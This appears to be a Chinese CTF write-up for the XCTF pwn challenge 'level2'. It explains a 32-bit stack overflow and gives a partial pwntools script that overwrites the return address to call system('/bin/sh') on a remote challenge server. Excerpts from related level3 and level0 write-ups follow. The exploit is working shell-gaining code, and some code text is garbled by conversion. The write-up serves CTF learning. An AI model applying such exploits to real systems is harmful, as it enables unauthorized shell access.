pwn 練習3 攻防世界 level2

2022-05-04 12:36:08 字數 883 閱讀 9630

nc連線,file一下32位的

拖進ida

看到熟悉的read想到棧溢位,接著搜尋字串找有用的資訊

看到了如圖花圈的關鍵字

於是我們想到利用棧溢位覆蓋之前的位址,使之能跳轉到system(/bin/sh)

通過控制vulnerable_function()返回到該偽棧幀執行system("/bin/sh")來get shell

然後把system以及bin/sh構造進payload

bin/sh的位址可以直接找到,system利用plt跳轉got,來找到

# -*- coding: utf-8 -*-

from pwn import *

kubopiy=remote("220.249.52.133",46572)#進行連線

elf = elf("./level2")

sysadd=elf.symbols['system']

payload=b'a'*(0x88+0x04)+p32(sysadd)+p32(0)+p32(0x0804a024)#b是位元組,填入這麼多的a,再加乙個打包好的函式位址

kubopiy.recvuntil("input:")#接收到那一句話

pwn 練習6 攻防世界 level3

這個題做的蠻久的,老樣子,基本操作來一遍 通過ida分析後,沒有system函式,也沒有 bin sh這樣的字眼,但題目給了乙個動態庫,於是我們可以通過另乙個庫,來調出system bin sh 兩個呼叫的動態函式庫相同,所以write函式和system函式之間的位址差值是相同的,所以我們的目的是求...

攻防世界pwn新手練習(level0)

老規矩哦,我們先checksec一下,收集一下資訊 唔,沒啥東西,繼續ida吧。emmm,主函式倒是挺簡單的,就一行列印,一行輸入 但 不知你們有公尺有發現有個很奇怪的函式名,我們悄悄的瞅一瞅 果然不對勁,首先它的名字中有個system 手動加粗 這個是什麼東西嘞,簡單的來說,它擁有系統的最高許可權...

攻防世界pwn新手練習(level2)

可以看到題上已經有提示了 rop 我們看一下程式的保護狀態和它的運 況 開了nx,問題不大。執行可以發現有乙個輸入點 放ida裡看看 在字串視窗可以發現有 bin sh 並且左邊的函式視窗可以看到在.plt段有system函式 這就很舒服了呀,再結合一下題目給的提示,構造rop鏈就行,效果如下 具體...